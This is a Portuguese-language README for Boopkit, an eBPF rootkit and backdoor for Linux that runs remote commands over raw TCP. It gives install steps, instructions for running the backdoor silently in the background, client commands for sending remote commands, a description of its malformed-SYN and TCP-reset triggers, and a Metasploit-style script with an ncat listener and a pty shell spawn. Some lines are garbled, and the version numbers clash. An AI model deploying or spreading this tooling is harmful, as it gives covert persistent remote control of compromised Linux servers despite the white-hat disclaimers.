
Linux eBPF backdoor sobre TCP. Gera shells reversos, RCE, com acesso privilegiado anterior. Menos Honkin, Mais Tonkin.
================================================================
██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗██╗████████╗
██╔══██╗██╔═══██╗██╔═══██╗██╔══██╗██║ ██╔╝██║╚══██╔══╝
██████╔╝██║ ██║██║ ██║██████╔╝█████╔╝ ██║ ██║
██╔══██╗██║ ██║██║ ██║██╔═══╝ ██╔═██╗ ██║ ██║
██████╔╝╚██████╔╝╚██████╔╝██║ ██║ ██╗██║ ██║
╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝
Autor: Kris Nóva <[email protected]> Versão 1.4.0
EM NENHUMA HIPÓTESE O TITULAR DOS DIREITOS AUTORAIS OU
COLABORADORES SERÃO RESPONSÁVEIS POR QUAISQUER DANOS
DIRETOS, INDIRETOS, INCIDENTAIS, ESPECIAIS, EXEMPLARES
OU CONSEQUENTES.
NÃO TENTE USAR AS FERRAMENTAS PARA VIOLAR A LEI.
O AUTOR NÃO É RESPONSÁVEL POR NENHUMA AÇÃO ILEGAL.
O USO INDEVIDO DO SOFTWARE, INFORMAÇÃO OU CÓDIGO FONTE
PODE RESULTAR EM ACUSAÇÕES CRIMINAIS.
Use por sua conta e risco.
================================================================
Boopkit.
Rootkit e backdoor para Linux. Construído usando eBPF.
Uso:
boopkit [opções]
Opções:
-h, help Exibe ajuda e uso do boopkit.
-i, interface Nome da interface. lo, eth0, wlan0, etc.
-s, sudo-bypass Ignora verificação de sudo. Quebra a ofuscação de PID.
-r, reverse-conn Tenta uma consulta RCE reversa se nenhum payload for encontrado.
-q, quiet Desabilita saída.
-x, reject Endereços de origem para rejeitar acionadores.
Ferramentas de backdoor, rootkit e bypass eBPF para Linux. Execução remota de comandos sobre TCP bruto.
Isso NÃO é um exploit! Requer acesso privilegiado prévio em um servidor para funcionar! Sou um pesquisador de segurança profissional. Estas são ferramentas de white hat usadas apenas para fins de pesquisa. Use isso com responsabilidade. Nunca use este software ilegalmente.

Baixe e compile o boopkit.
wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.3.0.tar.gz
tar -xzf v1.3.0.tar.gz
cd boopkit-1.3.0/
make
sudo make install
Execute o boopkit em primeiro plano.
# Rejeita todos os boops em localhost e 10.0.0.1
boopkit -x 127.0.0.1 -x 10.0.0.1
Execute o boopkit em segundo plano no modo silencioso.
# Perigo! Isso pode ser MUITO difícil de parar! Execute por sua conta e risco!
boopkit -q &
O Boopkit agora está em execução e pode ser explorado usando a ferramenta de linha de comando do cliente boopkit-boop.
Baixe e compile o boopkit.
wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.2.0.tar.gz
tar -xzf v1.2.0.tar.gz
cd boopkit-1.2.0/
make
sudo make install
Execute o boopkit-boop contra o servidor.
# ===================
RCE="ls -la"
# ===================
LHOST="127.0.0.1"
LPORT="3535"
RHOST="127.0.0.1"
RPORT="22"
boopkit-boop \
-lhost $LHOST \
-lport $LPORT \
-rhost $RHOST \
-rport $RPORT \
-c "$RCE"
O Boopkit responderá a vários eventos na rede. Ambos podem ser acionados com a ferramenta boopkit-boop.
Formato do Cabeçalho TCP. Retirado da RFC 793. Setembro de 1981.
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Porta de Origem | Porta de Destino |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Número de Sequência |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Número de Confirmação |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Dados | |U|A|P|R|S|F| |
| Desloc. | Reservado |R|C|S|S|Y|I| Janela |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Ponteiro Urgente |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Opções | Preenchimento |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
{ dados }
{ .... }
{ dados }
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Primeiro, a ferramenta boopkit-boop enviará um pacote TCP SYN malformado com uma checksum vazia ao servidor através de um socket SOCK_RAW. Isso acionará o boopkit remotamente, independentemente de quais serviços TCP estejam em execução. Funciona contra qualquer servidor Linux executando o boopkit, independentemente do estado dos serviços TCP.
Use -p com boopkit-boop para usar apenas este primeiro vetor.
⚠️ Alguns equipamentos de rede modernos descartarão todos os pacotes com checksum malformada, como o necessário para explorar o boopkit usando este vetor!
Em seguida, a ferramenta boopkit-boop completará um handshake TCP válido com um socket SOCK_STREAM contra um serviço TCP remoto, como SSH, Kubernetes, Nginx, etc. Após o handshake TCP inicial ser concluído, boopkit-boop repetirá o processo uma segunda vez.
O segundo handshake inverterá a flag de reset TCP no pacote, acionando um reset TCP no servidor.
Qualquer uma dessas táticas é suficiente para acionar o boopkit de forma independente. Vários equipamentos de rede e condições de tempo de execução tornarão uma ou outra tática mais viável. O Boopkit tentará ambas e responderá a ambas por padrão.
O arquivo boopscript é um script compatível com Metasploit que pode ser usado para acionar remotamente o backdoor do boopkit após o boopkit-boop ser instalado em uma máquina Linux remota.
# boopscript
RHOST="127.0.0.1"
RPORT="22"
LHOST="127.0.0.1"
LPORT="3535"
NCAT="/usr/bin/ncat"
NCATLISTENPORT="3545"
libbpflibxdppython -c "import pty; pty.spawn('/bin/bash')"
Créditos aos autores originais por seus exemplos de código úteis! Forkei muito código para este projeto!